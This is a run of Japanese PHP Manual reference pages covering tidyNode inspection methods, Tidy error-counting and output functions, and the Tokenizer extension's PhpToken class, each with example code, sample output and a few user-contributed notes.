  • ≪ tidyNode::getParent
  • tidyNode::hasSiblings ≫
  • PHP Manual
  • tidyNode
  • ノードが子を持つかどうかを調べる

tidyNode::hasChildren

(PHP 5, PHP 7, PHP 8)

tidyNode::hasChildren — ノードが子を持つかどうかを調べる

説明

public tidyNode::hasChildren ( ) : bool

ノードが子を持つかどうかを調べます。

返り値

ノードが子を持つ場合に true、それ以外の場合に false を返します。

例

例1 tidyNode::hasChildren() の例

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

// the head tag
var_dump($tidy->html()->child[0]->hasChildren());

// the php inside the head tag
var_dump($tidy->html()->child[0]->child[0]->hasChildren());

?>

上の例の出力は以下となります。

bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


このノードが兄弟ノードを持つかどうかを調べる

  • ≪ tidyNode::hasChildren
  • tidyNode::isAsp ≫
  • PHP Manual
  • tidyNode
  • このノードが兄弟ノードを持つかどうかを調べる

tidyNode::hasSiblings

(PHP 5, PHP 7, PHP 8)

tidyNode::hasSiblings — このノードが兄弟ノードを持つかどうかを調べる

説明

public tidyNode::hasSiblings ( ) : bool

ノードが兄弟ノードを持つかどうかを調べます。

返り値

兄弟ノードを持つ場合に true、それ以外の場合に false を返します。

例

例1 tidyNode::hasSiblings() の例

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

// the html tag
var_dump($tidy->html()->hasSiblings());

// the head tag
var_dump($tidy->html()->child[0]->hasSiblings());

?>

上の例の出力は以下となります。

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


このノードが ASP かどうかを調べる

  • ≪ tidyNode::hasSiblings
  • tidyNode::isComment ≫
  • PHP Manual
  • tidyNode
  • このノードが ASP かどうかを調べる

tidyNode::isAsp

(PHP 5, PHP 7, PHP 8)

tidyNode::isAsp — このノードが ASP かどうかを調べる

説明

public tidyNode::isAsp ( ) : bool

現在のノードが ASP かどうかを調べます。

返り値

ノードが ASP の場合に true、それ以外の場合に false を返します。

例

例1 HTML ドキュメントからの ASP コードの抽出

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

    // check if the current node is of requested type
    if($node->isAsp()) {
        echo "\n\n# asp node #" . ++$GLOBALS['num'] . "\n";
        echo $node->value;
    }

    // check if the current node has childrens
    if($node->hasChildren()) {
        foreach($node->child as $child) {
            get_nodes($child);
        }
    }
}

?>

上の例の出力は以下となります。

# asp node #1
<%
  /* ASP code */
  response.write("Hello World!")
%>

User Contributed Notes

There are no user contributed notes for this page.


このノードがコメントを表すものかどうかを調べる

  • ≪ tidyNode::isAsp
  • tidyNode::isHtml ≫
  • PHP Manual
  • tidyNode
  • このノードがコメントを表すものかどうかを調べる

tidyNode::isComment

(PHP 5, PHP 7, PHP 8)

tidyNode::isComment — このノードがコメントを表すものかどうかを調べる

説明

public tidyNode::isComment ( ) : bool

このノードがコメントであるかどうかを調べます。

返り値

このノードがコメントである場合に true、それ以外の場合に false を返します。

例

例1 HTML ドキュメントからのコメントの抽出

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

    // check if the current node is of requested type
    if($node->isComment()) {
        echo "\n\n# comment node #" . ++$GLOBALS['num'] . "\n";
        echo $node->value;
    }

    // check if the current node has childrens
    if($node->hasChildren()) {
        foreach($node->child as $child) {
            get_nodes($child);
        }
    }
}

?>

上の例の出力は以下となります。

# comment node #1
<!-- Comments -->

User Contributed Notes

There are no user contributed notes for this page.


このノードが HTML要素 であるかどうかを調べる

  • ≪ tidyNode::isComment
  • tidyNode::isJste ≫
  • PHP Manual
  • tidyNode
  • このノードが HTML要素 であるかどうかを調べる

tidyNode::isHtml

(PHP 5, PHP 7, PHP 8)

tidyNode::isHtml — このノードが HTML要素 であるかどうかを調べる

説明

public tidyNode::isHtml ( ) : bool

このノードが ルート要素 以外の HTML要素 であるかを調べます。

返り値

ノードが ルート要素 以外の HTML要素 である場合に true、それ以外の場合に false を返します。

変更履歴

バージョン | 説明
7.3.24, 7.4.12 | 適切な振る舞いをするように修正されました。 これより前のバージョンでは、ほとんど全てのノードをHTML要素だと報告していました。

例

例1 HTML ドキュメントからの HTML コードの抽出

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {
    // check if the current node is of requested type
    if($node->isHtml()) {
        echo "\n\n# html node #" . ++$GLOBALS['num'] . "\n";
        echo $node->value;
    }

    // check if the current node has childrens
    if($node->hasChildren()) {
        foreach($node->child as $child) {
            get_nodes($child);
        }
    }
}

?>

上の例の出力は以下となります。

# html node #1
<html>
<head>
<?php echo '<title>title</title>'; ?><#
  /* JSTE code */
  alert('Hello World');
#>
<title></title>
</head>
<body>
<?php
  // PHP code
  echo 'hello world!';
?><%
  /* ASP code */
  response.write("Hello World!")
%><!-- Comments -->
Hello WorldOutside HTML
</body>
</html>

# html node #2
<head>
<?php echo '<title>title</title>'; ?><#
  /* JSTE code */
  alert('Hello World');
#>
<title></title>
</head>

# html node #3
<title></title>

# html node #4
<body>
<?php
  // PHP code
  echo 'hello world!';
?><%
  /* ASP code */
  response.write("Hello World!")
%><!-- Comments -->
Hello WorldOutside HTML
</body>

User Contributed Notes

There are no user contributed notes for this page.


このノードが JSTE であるかどうかを調べる

  • ≪ tidyNode::isHtml
  • tidyNode::isPhp ≫
  • PHP Manual
  • tidyNode
  • このノードが JSTE であるかどうかを調べる

tidyNode::isJste

(PHP 5, PHP 7, PHP 8)

tidyNode::isJste — このノードが JSTE であるかどうかを調べる

説明

public tidyNode::isJste ( ) : bool

このノードが JSTE であるかどうかを調べます。

返り値

ノードが JSTE である場合に true、それ以外の場合に false を返します。

例

例1 HTML ドキュメントからの JSTE コードの抽出

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

    // check if the current node is of requested type
    if($node->isJste()) {
        echo "\n\n# jste node #" . ++$GLOBALS['num'] . "\n";
        echo $node->value;
    }

    // check if the current node has childrens
    if($node->hasChildren()) {
        foreach($node->child as $child) {
            get_nodes($child);
        }
    }
}

?>

上の例の出力は以下となります。

# jste node #1
<#
  /* JSTE code */
  alert('Hello World');
#>

User Contributed Notes

There are no user contributed notes for this page.


このノードが PHP であるかどうかを調べる

  • ≪ tidyNode::isJste
  • tidyNode::isText ≫
  • PHP Manual
  • tidyNode
  • このノードが PHP であるかどうかを調べる

tidyNode::isPhp

(PHP 5, PHP 7, PHP 8)

tidyNode::isPhp — このノードが PHP であるかどうかを調べる

説明

public tidyNode::isPhp ( ) : bool

このノードが PHP であるかどうかを調べます。

返り値

ノードが PHP コードである場合に true、それ以外の場合に false を返します。

例

例1 HTML ドキュメントからの PHP コードの抽出

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

    // check if the current node is of requested type
    if($node->isPhp()) {
        echo "\n\n# php node #" . ++$GLOBALS['num'] . "\n";
        echo $node->value;
    }

    // check if the current node has childrens
    if($node->hasChildren()) {
        foreach($node->child as $child) {
            get_nodes($child);
        }
    }
}

?>

上の例の出力は以下となります。

# php node #1
<?php echo '<title>title</title>'; ?>

# php node #2
<?php
  // PHP code
  echo 'hello world!';
?>

User Contributed Notes

There are no user contributed notes for this page.


このノードが (マークアップでない) テキストであるかどうかを調べる

  • ≪ tidyNode::isPhp
  • Tidy 関数 ≫
  • PHP Manual
  • tidyNode
  • このノードが (マークアップでない) テキストであるかどうかを調べる

tidyNode::isText

(PHP 5, PHP 7, PHP 8)

tidyNode::isText — このノードが (マークアップでない) テキストであるかどうかを調べる

説明

public tidyNode::isText ( ) : bool

このノードが (マークアップされていない) テキストであるかどうかを調べます。

返り値

ノードがテキストを著す場合に true、それ以外の場合に false を返します。

例

例1 HTML ドキュメントからのテキストの抽出

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

    // check if the current node is of requested type
    if($node->isText()) {
        echo "\n\n# text node #" . ++$GLOBALS['num'] . "\n";
        echo $node->value;
    }

    // check if the current node has childrens
    if($node->hasChildren()) {
        foreach($node->child as $child) {
            get_nodes($child);
        }
    }
}

?>

上の例の出力は以下となります。

# text node #1
Hello World

# text node #2
Outside HTML

User Contributed Notes

There are no user contributed notes for this page.


Tidy 関数

目次

  • ob_tidyhandler — バッファを修正するための ob_start コールバック関数
  • tidy_access_count — 指定したドキュメントについて発生したTidyアクセシビリティ警告の数を返す
  • tidy_config_count — 指定したドキュメントについて発生した Tidy 設定エラーの数を返す
  • tidy_error_count — 指定したドキュメントについて発生した Tidy エラーの数を返す
  • tidy_get_output — パースされた Tidy マークアップを表す文字列を返す
  • tidy_warning_count — 指定したドキュメントについて発生した Tidy 警告の数を返す

User Contributed Notes

patatraboum at nospam dot fr 25-Feb-2006 10:13
<?php
//
//The tidy tree of your favorite !
//For PHP 5 (CGI)
//Thanks to john@php.net
//
$file="http://www.php.net";
//
$cns=get_defined_constants(true);
$tidyCns=array("tags"=>array(),"types"=>array());
foreach($cns["tidy"] as $cKey=>$cVal){
    if($cPos=strpos($cKey,$cStr="TAG")) $tidyCns["tags"][$cVal]="$cStr : ".substr($cKey,$cPos+strlen($cStr)+1);
    elseif($cPos=strpos($cKey,$cStr="TYPE")) $tidyCns["types"][$cVal]="$cStr : ".substr($cKey,$cPos+strlen($cStr)+1);
}
$tidyNext=array();
//
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1252'><title>Tidy Tree :: $file</title></head>";
echo "<body><pre>";
//
tidyTree(tidy_get_root(tidy_parse_file($file)),0);
//
function tidyTree($tidy,$level){
    global $tidyCns,$tidyNext;
    $tidyTab=array();
    $tidyKeys=array("type","value","id","attribute");
    foreach($tidy as $pKey=>$pVal){
        if(in_array($pKey,$tidyKeys)) $tidyTab[array_search($pKey,$tidyKeys)]=$pVal;
    }
    ksort($tidyTab);
    foreach($tidyTab as $pKey=>$pVal){
        switch($pKey){
            case 0 :
                if($pVal==4) $value=true; else $value=false;
                echo indent(true,$level).$tidyCns["types"][$pVal]."\n"; break;
            case 1 :
                if($value){
                    echo indent(false,$level)."VALEUR : ".str_replace("\n","\n".indent(false,$level),$pVal)."\n";
                }
                break;
            case 2 :
                echo indent(false,$level).$tidyCns["tags"][$pVal]."\n"; break;
            case 3 :
                if($pVal!=NULL){
                    echo indent(false,$level)."ATTRIBUTS : ";
                    foreach ($pVal as $aKey=>$aVal) echo "$aKey=$aVal "; echo "\n";
                }
        }
    }
    if($tidy->hasChildren()){
        $level++; $i=0;
        $tidyNext[$level]=true;
        echo indent(false,$level)."\n";
        foreach($tidy->child as $child){
            $i++;
            if($i==count($tidy->child)) $tidyNext[$level]=false;
            tidyTree($child,$level);
        }
    }
    else echo indent(false,$level)."\n";
}
//
function indent($tidyType,$level){
    global $tidyNext;
    $indent="";
    for($i=1;$i<=$level;$i++){
        if($i<$level||!$tidyType){
            if($tidyNext[$i]) $str="|  "; else $str="   ";
        }
        else $str="+--";
        $indent=$indent.$str;
    }
    return $indent;
}
//
echo "</pre></body></html>";
//
?>
bill dot mccuistion at qbopen dot com 29-Oct-2004 10:53
Installing tidy on Fedora Core 2 required three libraries:

tidy...
tidy-devel...
libtidy...

All of which I found at http://rpm.pbone.net

Then, finally, could "./configure --with-tidy"

Hope this helps someone out.  This was "REALLY" hard (for me) to figure out as no where else was clearly documented.


バッファを修正するための ob_start コールバック関数

  • ≪ Tidy 関数
  • tidy_access_count ≫
  • PHP Manual
  • Tidy 関数
  • バッファを修正するための ob_start コールバック関数

ob_tidyhandler

(PHP 5, PHP 7, PHP 8)

ob_tidyhandler — バッファを修正するための ob_start コールバック関数

説明

ob_tidyhandler ( string $input , int $mode = ? ) : string

バッファを修正するための ob_start() コールバック関数です。

パラメータ

input

バッファ。

mode

バッファのモード。

返り値

修正したバッファを返します。

例

例1 ob_tidyhandler() の例

<?php
ob_start('ob_tidyhandler');

echo '<p>test</i>';
?>

上の例の出力は以下となります。

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title></title>
</head>
<body>
<p>test</p>
</body>
</html>

参考

  • ob_start() - 出力のバッファリングを有効にする

User Contributed Notes

There are no user contributed notes for this page.


指定したドキュメントについて発生したTidyアクセシビリティ警告の数を返す

  • ≪ ob_tidyhandler
  • tidy_config_count ≫
  • PHP Manual
  • Tidy 関数
  • 指定したドキュメントについて発生したTidyアクセシビリティ警告の数を返す

tidy_access_count

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy_access_count — 指定したドキュメントについて発生したTidyアクセシビリティ警告の数を返す

説明

tidy_access_count ( tidy $tidy ) : int

tidy_access_count() は、 指定したドキュメントについて発生した Tidy アクセシビリティ警告の数を返します。

パラメータ

tidy

Tidy オブジェクト。

返り値

警告の数を返します。

例

例1 tidy_access_count() の例

<?php

$html ='<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html><head><title>Title</title></head>
<body>

<p><img src="img.png"></p>

</body></html>';

// アクセシビリティチェックのレベルを選択する: 1, 2 あるいは 3
$config = array('accessibility-check' => 3);

$tidy = new tidy();
$tidy->parseString($html, $config);
$tidy->cleanRepair();

/* これをコールすることを忘れないように! */
$tidy->diagnose();

echo tidy_access_count($tidy); //5

?>

注意

注意:

TidyLib の設計のため、tidy_access_count() の前に tidy_diagnose() をコールしなければなりません。 さもないと、常に 0 が返されます。 また、accessibility-check オプションを有効にしなければなりません。

参考

  • tidy_error_count() - 指定したドキュメントについて発生した Tidy エラーの数を返す
  • tidy_warning_count() - 指定したドキュメントについて発生した Tidy 警告の数を返す

User Contributed Notes

There are no user contributed notes for this page.


指定したドキュメントについて発生した Tidy 設定エラーの数を返す

  • ≪ tidy_access_count
  • tidy_error_count ≫
  • PHP Manual
  • Tidy 関数
  • 指定したドキュメントについて発生した Tidy 設定エラーの数を返す

tidy_config_count

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy_config_count — 指定したドキュメントについて発生した Tidy 設定エラーの数を返す

説明

tidy_config_count ( tidy $tidy ) : int

指定した Tidy オブジェクト tidy の設定時に発生した Tidy エラーの数を返します。

パラメータ

tidy

Tidy オブジェクト。

返り値

エラーの数を返します。

例

例1 tidy_config_count() の例

<?php
$html = '<p>test</I>';

$config = array('doctype' => 'bogus');

$tidy = tidy_parse_string($html, $config);

/* 'bogus' は有効な文章型でないので、1 を出力する */
echo tidy_config_count($tidy);
?>

User Contributed Notes

There are no user contributed notes for this page.


指定したドキュメントについて発生した Tidy エラーの数を返す

  • ≪ tidy_config_count
  • tidy_get_output ≫
  • PHP Manual
  • Tidy 関数
  • 指定したドキュメントについて発生した Tidy エラーの数を返す

tidy_error_count

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy_error_count — 指定したドキュメントについて発生した Tidy エラーの数を返す

説明

tidy_error_count ( tidy $tidy ) : int

指定したドキュメントについて発生した Tidy エラーの数を返します。

パラメータ

tidy

Tidy オブジェクト。

返り値

エラーの数を返します。

例

例1 tidy_error_count() の例

<?php
$html = '<p>test</i>
<bogustag>bogus</bogustag>';

$tidy = tidy_parse_string($html);

echo tidy_error_count($tidy) . "\n"; //1

echo $tidy->errorBuffer;
?>

上の例の出力は以下となります。

1
line 1 column 1 - Warning: missing <!DOCTYPE> declaration
line 1 column 8 - Warning: discarding unexpected </i>
line 2 column 1 - Error: <bogustag> is not recognized!
line 2 column 1 - Warning: discarding unexpected <bogustag>
line 2 column 16 - Warning: discarding unexpected </bogustag>
line 1 column 1 - Warning: inserting missing 'title' element

参考

  • tidy_access_count() - 指定したドキュメントについて発生したTidyアクセシビリティ警告の数を返す
  • tidy_warning_count() - 指定したドキュメントについて発生した Tidy 警告の数を返す

User Contributed Notes

There are no user contributed notes for this page.


パースされた Tidy マークアップを表す文字列を返す

  • ≪ tidy_error_count
  • tidy_warning_count ≫
  • PHP Manual
  • Tidy 関数
  • パースされた Tidy マークアップを表す文字列を返す

tidy_get_output

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy_get_output — パースされた Tidy マークアップを表す文字列を返す

説明

tidy_get_output ( tidy $tidy ) : string

修正された HTML を文字列で返します。

パラメータ

tidy

Tidy オブジェクト。

返り値

修正された HTML を文字列で返します。

例

例1 tidy_get_output() の例

<?php

$html = '<p>paragraph</i>';
$tidy = tidy_parse_string($html);

$tidy->cleanRepair();

echo tidy_get_output($tidy);
?>

上の例の出力は以下となります。

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title></title>
</head>
<body>
<p>paragraph</p>
</body>
</html>

User Contributed Notes

jon+php_net at phpsitesolutions dot com 28-Dec-2008 08:31
If you don't feel like going procedural to get the HTML output, you can simple use this alternative:

<?php

$html = <<<HTML

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><title>title</title></head>
<body>
<p>paragraph <br />
text</p>
</body></html>

HTML;

$tidy = new tidy;
$tidy->parseString($html);

$tidy->cleanRepair();
echo $tidy->html()->value;

?>

You can even more simply access the HTML output via this:

<?php

echo $tidy->value;

?>


指定したドキュメントについて発生した Tidy 警告の数を返す

  • ≪ tidy_get_output
  • Tokenizer ≫
  • PHP Manual
  • Tidy 関数
  • 指定したドキュメントについて発生した Tidy 警告の数を返す

tidy_warning_count

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy_warning_count — 指定したドキュメントについて発生した Tidy 警告の数を返す

説明

tidy_warning_count ( tidy $tidy ) : int

指定したドキュメントについて発生した Tidy 警告の数を返します。

パラメータ

tidy

Tidy オブジェクト。

返り値

警告の数を返します。

例

例1 tidy_warning_count() の例

<?php
$html = '<p>test</i>
<bogustag>bogus</bogustag>';

$tidy = tidy_parse_string($html);

echo tidy_error_count($tidy) . "\n"; //1
echo tidy_warning_count($tidy) . "\n"; //5
?>

参考

  • tidy_error_count() - 指定したドキュメントについて発生した Tidy エラーの数を返す
  • tidy_access_count() - 指定したドキュメントについて発生したTidyアクセシビリティ警告の数を返す

User Contributed Notes

There are no user contributed notes for this page.


Tokenizer

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • PhpToken — PhpToken クラス
    • PhpToken::__construct — 新しい PhpToken オブジェクトを返す
    • PhpToken::getTokenName — トークンの名前を返す
    • PhpToken::is — 指定された種類のトークンかを調べる
    • PhpToken::isIgnorable — トークンがPHPパーサから無視されるかを調べる
    • PhpToken::__toString — トークンの文字列表現を返す
    • PhpToken::tokenize — ソースコードを PhpToken オブジェクトで表現されたトークンに分割する
  • Tokenizer 関数
    • token_get_all — 指定したソースを PHP トークンに分割する
    • token_name — 指定した PHP トークンのシンボル名を取得する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

tokenizer 関数は、Zend Engine に組み込まれた PHP tokenizer へのインターフェイスを提供します。以下の関数により、 字句解析レベルの言語処理を行うことなく、 PHP ソースを解析/修正するツールを作成することが可能となります。

トークンに関する付録も参照ください。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

以下の関数はデフォルトで有効となっています。 --disable-tokenizer を指定すること により、tokenizer サポートを無効とすることができます。

Windows 版の PHP には この拡張モジュールのサポートが組み込まれています。これらの関数を使用 するために拡張モジュールを追加でロードする必要はありません。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

この拡張モジュールを組み込んで PHP をコンパイルするか、あるいは実行時に 動的にモジュールを読み込むと、パーサトークンの一覧 に挙げられている トークンが定数として定義されます。

User Contributed Notes

There are no user contributed notes for this page.


例

以下に tokenizer を用いた簡単な PHP スクリプトの例を示します。この例は、 PHP ファイルを読み込み、ソースから全てのコメントを削除し、コードのみを 出力するものです。

例1 tokenizer によるコメントの削除

<?php
$source = file_get_contents('example.php');
$tokens = token_get_all($source);

foreach ($tokens as $token) {
   if (is_string($token)) {
       // 簡単な1文字毎のトークン
       echo $token;
   } else {
       // トークン配列
       list($id, $text) = $token;

       switch ($id) {
           case T_COMMENT:
           case T_DOC_COMMENT:
               // コメントの場合は何もしない
               break;

           default:
               // それ以外の場合 -> "そのまま"出力
               echo $text;
               break;
       }
   }
}
?>

User Contributed Notes

There are no user contributed notes for this page.


PhpToken クラス

(PHP 8)

はじめに

このクラスは、token_get_all() 関数の代替です。 token_get_all() 関数は、トークンを示す一文字、 またはトークンのIDの配列、トークンのテキスト、行番号からなる配列を返します。 PhpToken::tokenize() は、 全てのトークンを PhpToken オブジェクトに正規化します。 これによって、トークンの操作を行うコードのメモリ使用量が少なくなり、 コードが読みやすくなります。

クラス概要

PhpToken {
/* プロパティ */
public int $id ;
public string $text ;
public int $line ;
public int $pos ;
/* メソッド */
final public __construct ( int $id , string $text , int $line = -1 , int $pos = -1 )
public getTokenName ( ) : string|null
public is ( int|string|array $kind ) : bool
public isIgnorable ( ) : bool
public __toString ( ) : string
public static tokenize ( string $code , int $flags = 0 ) : array
}

プロパティ

id

T_* 定数のうちのひとつ。 または、 一文字のトークンを表す ASCII コードポイント。

text

トークンの内容を示すテキスト

line

トークンが始まる行番号(1から始まります)

pos

トークン化された文字列内での開始位置(0から始まります)

目次

  • PhpToken::__construct — 新しい PhpToken オブジェクトを返す
  • PhpToken::getTokenName — トークンの名前を返す
  • PhpToken::is — 指定された種類のトークンかを調べる
  • PhpToken::isIgnorable — トークンがPHPパーサから無視されるかを調べる
  • PhpToken::__toString — トークンの文字列表現を返す
  • PhpToken::tokenize — ソースコードを PhpToken オブジェクトで表現されたトークンに分割する

User Contributed Notes

There are no user contributed notes for this page.


新しい PhpToken オブジェクトを返す

  • ≪ PhpToken
  • PhpToken::getTokenName ≫
  • PHP Manual
  • PhpToken
  • 新しい PhpToken オブジェクトを返す

PhpToken::__construct

(PHP 8)

PhpToken::__construct — 新しい PhpToken オブジェクトを返す

説明

final public PhpToken::__construct ( int $id , string $text , int $line = -1 , int $pos = -1 )

新しい PhpToken オブジェクトを返します。

パラメータ

id

T_* 定数(パーサトークンの一覧 を参照) のうちのひとつ。 または、 一文字のトークンを表す ASCII コードポイント。

text

トークンの内容を示すテキスト

line

トークンが始まる行番号(1から始まります)

pos

トークン化された文字列内での開始位置(0から始まります)

返り値

新しい PhpToken のインスタンスを返します。

参考

  • PhpToken::tokenize() - ソースコードを PhpToken オブジェクトで表現されたトークンに分割する

User Contributed Notes

There are no user contributed notes for this page.


トークンの名前を返す

  • ≪ PhpToken::__construct
  • PhpToken::is ≫
  • PHP Manual
  • PhpToken
  • トークンの名前を返す

PhpToken::getTokenName

(PHP 8)

PhpToken::getTokenName — トークンの名前を返す

説明

public PhpToken::getTokenName ( ) : string|null

トークンの名前を返します。

パラメータ

この関数にはパラメータはありません。

返り値

一文字のトークンを示す ASCII 文字。 または、既知のトークンの名前を示す T_* 定数(パーサトークンの一覧 を参照)。 不明なトークンの場合は null を返します。

例

例1 PhpToken::getTokenName() の例

<?php
// 既知のトークンの場合
$token = new PhpToken(T_ECHO, 'echo');
var_dump($token->getTokenName());   // -> string(6) "T_ECHO"

// 一文字のトークンの場合
$token = new PhpToken(ord(';'), ';');
var_dump($token->getTokenName());   // -> string(1) ";"

// 不明なトークンの場合
$token = new PhpToken(10000 , "\0");
var_dump($token->getTokenName());   // -> NULL

参考

  • PhpToken::tokenize() - ソースコードを PhpToken オブジェクトで表現されたトークンに分割する
  • token_name() - 指定した PHP トークンのシンボル名を取得する

User Contributed Notes

There are no user contributed notes for this page.


指定された種類のトークンかを調べる

  • ≪ PhpToken::getTokenName
  • PhpToken::isIgnorable ≫
  • PHP Manual
  • PhpToken
  • 指定された種類のトークンかを調べる

PhpToken::is

(PHP 8)

PhpToken::is — 指定された種類のトークンかを調べる

説明

public PhpToken::is ( int|string|array $kind ) : bool

トークンが指定された kind であるかを判定します。

パラメータ

kind

トークンのID、またはテキスト表現に一致するスカラー値、または配列

返り値

トークンが指定された種類かを boolean で返します。

例

例1 PhpToken::is() の例

<?php
$token = new PhpToken(T_ECHO, 'echo');
var_dump($token->is(T_ECHO));        // -> bool(true)
var_dump($token->is('echo'));        // -> bool(true)
var_dump($token->is(T_FOREACH));     // -> bool(false)
var_dump($token->is('foreach'));     // -> bool(false)

例2 Usage with array

<?php
function isClassType(PhpToken $token): bool {
    return $token->is([T_CLASS, T_INTERFACE, T_TRAIT]);
}

$interface = new PhpToken(T_INTERFACE, 'interface');
var_dump(isClassType($interface));   // -> bool(true)

$function = new PhpToken(T_FUNCTION, 'function');
var_dump(isClassType($function));    // -> bool(false)

参考

  • token_name() - 指定した PHP トークンのシンボル名を取得する

User Contributed Notes

There are no user contributed notes for this page.


トークンがPHPパーサから無視されるかを調べる

  • ≪ PhpToken::is
  • PhpToken::__toString ≫
  • PHP Manual
  • PhpToken
  • トークンがPHPパーサから無視されるかを調べる

PhpToken::isIgnorable

(PHP 8)

PhpToken::isIgnorable — トークンがPHPパーサから無視されるかを調べる

説明

public PhpToken::isIgnorable ( ) : bool

トークンがPHPパーサから無視されるかを判定します。

パラメータ

この関数にはパラメータはありません。

返り値

A boolean value whether the token would be ignored by the PHP parser (such as whitespace or comments).

例

例1 PhpToken::isIgnorable() example

<?php
$echo = new PhpToken(T_ECHO, 'echo');
var_dump($echo->isIgnorable());   // -> bool(false)

$space = new PhpToken(T_WHITESPACE, ' ');
var_dump($space->isIgnorable());  // -> bool(true)

参考

  • PhpToken::tokenize() - ソースコードを PhpToken オブジェクトで表現されたトークンに分割する

User Contributed Notes

There are no user contributed notes for this page.


トークンの文字列表現を返す

  • ≪ PhpToken::isIgnorable
  • PhpToken::tokenize ≫
  • PHP Manual
  • PhpToken
  • トークンの文字列表現を返す

PhpToken::__toString

(PHP 8)

PhpToken::__toString — トークンの文字列表現を返す

説明

public PhpToken::__toString ( ) : string

トークンの文字列表現を返します。

パラメータ

この関数にはパラメータはありません。

返り値

トークンの文字列表現を返します。

例

例1 PhpToken::__toString() の例

<?php
$token = new PhpToken(T_ECHO, 'echo');
echo $token;

上の例の出力は以下となります。

echo

参考

  • token_name() - 指定した PHP トークンのシンボル名を取得する

User Contributed Notes

There are no user contributed notes for this page.


ソースコードを PhpToken オブジェクトで表現されたトークンに分割する

  • ≪ PhpToken::__toString
  • Tokenizer 関数 ≫
  • PHP Manual
  • PhpToken
  • ソースコードを PhpToken オブジェクトで表現されたトークンに分割する

PhpToken::tokenize

(PHP 8)

PhpToken::tokenize — ソースコードを PhpToken オブジェクトで表現されたトークンに分割する

説明

public static PhpToken::tokenize ( string $code , int $flags = 0 ) : array

与えられた code を表現する PhpToken オブジェクトの配列を返します。

パラメータ

code

パースする PHP のコード。

flags

有効なフラグ:

  • TOKEN_PARSE - 特定のコンテクストで予約語を認識します。

返り値

PhpToken、またはそのサブクラスで表現される、PHPトークンの配列を返します。 このメソッドの返り値は、PhpToken をシームレスに拡張できるように、 static[] 型になっています。

例

例1 PhpToken::tokenize() の例

<?php
$tokens = PhpToken::tokenize('<?php echo; ?>');

foreach ($tokens as $token) {
    echo "Line {$token->line}: {$token->getTokenName()} ('{$token->text}')", PHP_EOL;
}

